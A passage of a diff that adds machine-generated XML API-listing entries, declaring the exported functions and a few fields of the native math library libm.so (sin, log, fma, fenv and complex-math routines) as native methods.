+ <method abstract="false" deprecated="not deprecated" final="true" name="sync_file_info" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libm.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="lrintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="log10l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="floorl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="log1pf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gamma_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cexp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lrintl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="logb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="log1pl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="logf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ilogbf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="remainder" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="csqrtf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fmodf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBC_O" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nexttowardf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="logl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nexttoward" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cexpf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fegetround" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ilogbl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="j0f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="csqrtl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fmodl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lround" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fesetround" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nexttowardl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sincosf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="catan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="log1p" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scalbnf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cexpl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="drem" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fegetexcept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tanh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="csin" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sincosl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scalbnl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tanl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ccoshf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ceil" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nextafterf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="finite" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="remquo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ccoshl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="catanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fma" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="llrint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nextafterl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="catanh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="conj" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fmaf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="llrintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="catanl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="feholdexcept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="remainderf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clogf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fmal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="llrintl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="log2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cproj" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fmin" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="y0f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="remainderl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clogl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="log2l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="logbf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="j1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fedisableexcept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cimag" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fmax" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="logbl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ctanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ctanh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="llround" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="trunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ctan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ctanl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sqrt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nanl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="log" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__signbitf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__signbitl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="asinf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="asinhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="feenableexcept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="asinh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="modf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nextafter" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="y1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="asinl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="asinhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scalb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="casinhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="acos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="conjf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tgammaf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="casinhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="signgam" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="LIBC" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atanhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="conjl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tgammal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fetestexcept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gamma" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atanhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="csqrt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="y0" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ilogb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="y1" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="catanhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fabsf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="feupdateenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cprojf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cimagf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="frexp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="catanhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fabsl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cprojl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cimagl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fegetenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="copysignf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="exp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ceilf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ldexpf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="copysignl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cpow" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fminf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cacos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ceill" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ldexpl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="modff" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="acosf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fminl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="acosh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fesetexceptflag" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="j0" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="modfl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="acosl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="j1" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="remquof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sinhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sin" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cargf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__signbit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="remquol" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sinhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cargl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fdimf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lgamma" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="acoshf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nearbyintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sinf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dremf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fdiml" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sinh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tanhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atan2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="acoshl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nearbyintl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fmaxf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sinl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tanhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atan2l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cacoshf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fesetenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atan2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fmaxl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="powf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ccos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="yn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="casinf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cacoshl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="casinh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fabs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="finitef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="powl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="casinl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="erf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scalbf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sincos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="carg" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="erfcf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="feraiseexcept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="erfcl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scalbn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="feclearexcept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="csinf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cabs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="csinh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sqrtf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="csinl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="exp2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="jn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="roundf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="crealf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lgammal_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sqrtl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cpowf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="hypot" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="significand" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="copysign" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cosf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="roundl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="creall" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tgamma" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cosh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cpowl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cabsf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="truncf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cosl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="exp2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="coshf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="__fe_dfl_env" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scalblnf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cbrtf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="significandf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cabsl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gammaf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="truncl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="exp2l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="frexpf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="coshl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="asin" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cacosf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="rintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atanh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scalblnl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cacosh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cbrtl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="significandl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="erfc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lgammaf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="frexpl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atanl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cacosl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="erff" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="floor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="rintl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="log10" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="log2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="csinhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lgammal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
